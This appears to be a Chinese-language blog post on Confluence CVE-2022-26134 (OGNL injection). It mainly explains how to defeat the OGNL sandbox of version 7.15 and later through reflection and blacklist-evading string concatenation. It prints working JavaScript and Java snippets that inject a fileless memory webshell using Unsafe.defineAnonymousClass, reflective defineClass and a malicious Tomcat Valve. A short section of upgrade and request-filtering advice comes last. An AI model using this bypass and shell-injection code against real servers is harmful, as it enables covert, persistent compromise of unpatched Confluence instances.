Bootstrap

CVE-2022-26134 Confluence 无文件落地的内存马注入姿势

一、漏洞信息

最近 Confluence 官方通报了一个严重漏洞 CVE-2022-26134 ,从漏洞描述来看,这是一个 OGNL 表达式注入漏洞。影响版本如下:
from 1.3.0 before 7.4.17
from 7.13.0 before 7.13.7
from 7.14.0 before 7.14.3
from 7.15.0 before 7.15.2
from 7.16.0 before 7.16.4
from 7.17.0 before 7.17.4,
from 7.18.0 before 7.18.1
漏洞出现在xwork-1.0.3-atlassian-10.jar内,ActionChainResult#execute里提取 namespace 参数,并调用 translateVariables 函数,触发 OGNL 表达式注入。

二、沙箱绕过与命令执行

网上现在已经公开的一些简单粗暴的利用方式,只能在 v7.14 及以下系列有效,从 v7.15 版本开始,Confluence 在 OGNL 表达式解析时加入了安全检查,即在 com.opensymphony.xwork.util.OgnlValueStack#findValue 存在黑白名单形式的过滤。
可以看到,安全检查主要是以下四个:
在这里插入图片描述
1.首先检查缓存的黑白名单是否能匹配,这里默认为空,所以基本可以认为是无感的。
2.调用 isUnSafeClass 方法,跟进看看
在这里插入图片描述
这里调用黑名单对类名和包名进行检测。
3.检查白名单,将属于白名单的类加入缓存
4.递归检查ONGL表达式的每一个tree节点,调用containsUnsafeExpression方法进行检查,跟进查看:
在这里插入图片描述
分别对静态方法调用、属性调用、方法调用、变量调用、常量调用等进行检查,尤其静态方法调用的位置采用白名单对允许调用静态方法的类进行限制,所以 OGNL 表达式常规的通过 @[类名]@[方法名] 调用如 java.lang.Runtime 的形式无法使用,且 #request#context 等直接调用 OGNL 上下文变量的形式也在变量调用检查中被禁止。

分析了上述沙箱机制之后,我们还是可以想到通过反射的方式来调用一些被禁止的类或方法。可以看到,使用@java.lang.Class@forName的形式进行反射是被禁止的,这里尝试在ONGL表达式中直接使用Class.forName,发现可行。
为了避免ONGL表达式对调用的类进行过滤,我们选择直接使用javax.script.ScriptEngineManager类来执行恶意代码脚本。但是javax.script.ScriptEngineManager在对常量检查的黑名单里,所以需要通过字符串拼接的方式来绕过黑名单匹配,例如:

Class.forName("jav"+"ax.script.Scri"+"ptEngineManager")

我们需要传入恶意类的字节码,然后使用defineClass获取恶意类实例,字节码过长只能使用post参数传入,但是高版本confluence的黑名单中会过滤掉parameters,所以无法使用#parameters.data[0]的方式来获取post参数,我们可以使用atlassian自带的com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getParaneter(‘data’)来获取参数,且url处理会将参数中的+替换成 ,需要使用replaceAll()方法替换回来。

三、内存马注入

在JDK8时代,攻击者通常使用当前线程的contextClassLoader去反射调用defineClass方法,但是在JDK11中,使用defineClass会抛出警告甚至禁止调用。
那么如果在JDK9-11中要怎么注入内存马呢?
unsafe类中有一个定义类的方法defineAnonymousClass,在defineAnonymousClass中使用defineClass就不会被拦截了。
defineAnonymousClass使用方法如下:

var data=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getParaneter('data').replaceAll(' ','+');
var dataBytes=java.util.Base64.getDecoder().decode(data);
var safe=java.lang.Class.forName('sun.misc.Unsafe');
var safeCon=safe.getDeclaredField('theUnsafe');
safeCon.setAccessible(true);
var unSafe=safeCon.get(null);
var mem=unSafe.defineAnonymousClass(java.io.File.class,dataBytes,null);
mem.newInstance();

需要注意的是,defineAnonymousClass需要一个模板类,可以先创建出一个正常的类来作为模板,或者任意使用一个类作为模板。
然后在在defineAnonymousClass中使用defineClass来获取恶意类的实例。

public class menShell {
    public menShell() throws InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException {
        String bytes="evilstring(base64)";
        byte[] bytes1 = java.util.Base64.getDecoder().decode(bytes);
        ClassLoader cLoader = java.lang.Thread.currentThread().getContextClassLoader();
        Method method= null;
        method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE);
        method.setAccessible(true);
        Class memClass = null;
        memClass = (Class) method.invoke(cLoader,bytes1,0,bytes1.length);
        memClass.newInstance();
    }
}

如果使用内部类来编写内存马类,会导致找不到内部类的异常,所以同样需要defineClass来实例化内存马类(defineClass yyds!)。

StandardContext standardContext = (StandardContext) children.get(contextKey);
this.standardContext = standardContext;

String bytes="Valvestring";
byte[] bytes1 = java.util.Base64.getDecoder().decode(bytes);
ClassLoader cLoader = java.lang.Thread.currentThread().getContextClassLoader();
Method method= null;
method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE);
method.setAccessible(true);
Class memClass = null;
memClass = (Class) method.invoke(cLoader,bytes1,0,bytes1.length);
Valve myValve = (Valve) memClass.newInstance();

Pipeline pipeline = this.standardContext.getPipeline();
pipeline.addValve(myValve);

内存马注入可以参考:
https://xz.aliyun.com/t/9914
https://www.anquanke.com/post/id/225870

四、修复建议

1.通用修复建议
对 Confluence 组件进行集中升级到安全版本,下载地址为:
https://www.atlassian.com/software/confluence/download-archives

2.临时修复建议
(1)替换 xwork 组件 jar
jar包下载地址为:
xwork-1.0.3-atlassian-10.jar
webwork-2.1.5-atlassian-4.jar
CachedConfigurationProvider.class
(2)过滤恶意请求
漏洞出现在请求的url里最后一个/前的内容会被尝试当作ONGL表达式来处理,在标签的属性值被理解为字符串类型时,告诉执行环境%{}中的是 OGNL 表达式,并计算 OGNL 表达式的值。在正常的请求的url中几乎不会出现%{}这样的字符串,所以可以通过过滤掉url中包含%{也就是%24%7B的请求,就可以避免受到攻击。

Reference

https://cn-sec.com/archives/797437.html
https://xz.aliyun.com/t/9914
https://paper.seebug.org/1785
https://www.anquanke.com/post/id/225870

;